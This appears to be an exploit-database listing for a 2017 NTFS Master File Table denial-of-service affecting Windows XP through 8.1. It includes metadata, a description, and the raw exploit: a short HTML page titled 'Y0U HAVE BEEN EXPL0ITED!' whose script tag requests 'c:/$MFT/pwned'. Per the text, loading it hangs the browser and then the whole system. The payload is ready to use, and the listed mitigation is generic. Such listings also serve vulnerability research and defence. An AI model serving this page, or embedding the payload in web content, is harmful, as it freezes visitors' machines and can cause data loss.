NTFS 3.1 Master File Table DoS Exploit

vendor:

Windows

by:

EagleWire

7,5

CVSS

HIGH

Denial of Service (DoS)

400

CWE

Product Name: Windows

Affected Version From: Windows XP

Affected Version To: Windows 8.1

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows XP/7/8/8.1

2017

NTFS 3.1 Master File Table DoS Exploit

This exploits a vulnerability in Windows XP to Windows 8.1. The master file table, or MFT, is a hidden file in the NTFS file system. It maps out all files in the drive. It is supposed to be protected from any user access because all files that use NTFS have a reference to it. If the directory is recreated, the system will lock the file until the next reboot. Therefore, for example, when trying to create a file or read the volume of files, NTFS attempts to seize ERESOURCE $ MFT file and will hang at this stage forever. The exploit tries to access a nonexistant file c:/$MFT/pwned. The browser will hang then stop responding, then after the browser exists, the rest of the system becomes unresponsive.

Mitigation:

Ensure that the NTFS file system is properly configured and that all files are properly protected from unauthorized access.

Source

Exploit-DB raw data:

<!--
# Exploit Title: NTFS 3.1 Master File Table DoS Exploit
# Date: 6\23\17
# Exploit Author: EagleWire
# Version: Windows XP/7/8/8.1
# Tested on: Windows XP/7/8/8.1
1. Description:
This exploits a vulnerability in Windows XP to Windows 8.1. The master file table, or MFT, is a hidden file in the NTFS file system. It maps out all files in the drive. It is supposed to be protected from any user access because all files that use NTFS have a reference to it. If the directory is recreated, the system will lock the file until the next reboot. Therefore, for example, when trying to create a file or read the volume of files, NTFS attempts to seize ERESOURCE $ MFT file and will hang at this stage forever.
2. Exploit:
The exploit tries to access a nonexistant file c:/$MFT/pwned. The browser will hang then stop responding, then after the browser exists, the rest of the system becomes unresponsive.
-->
<!DOCTYPE html>
<html lang="en">
  <head>
    <link rel="stylesheet" href="stylesheet.css">
    <meta charset="utf-8" />
    <title>Y0U HAVE BEEN EXPL0ITED!</title>  
</head>
  <body>
    <script src="c:/$MFT/pwned"></script>
  </body>
</html>

<!--
3: Solution:
-->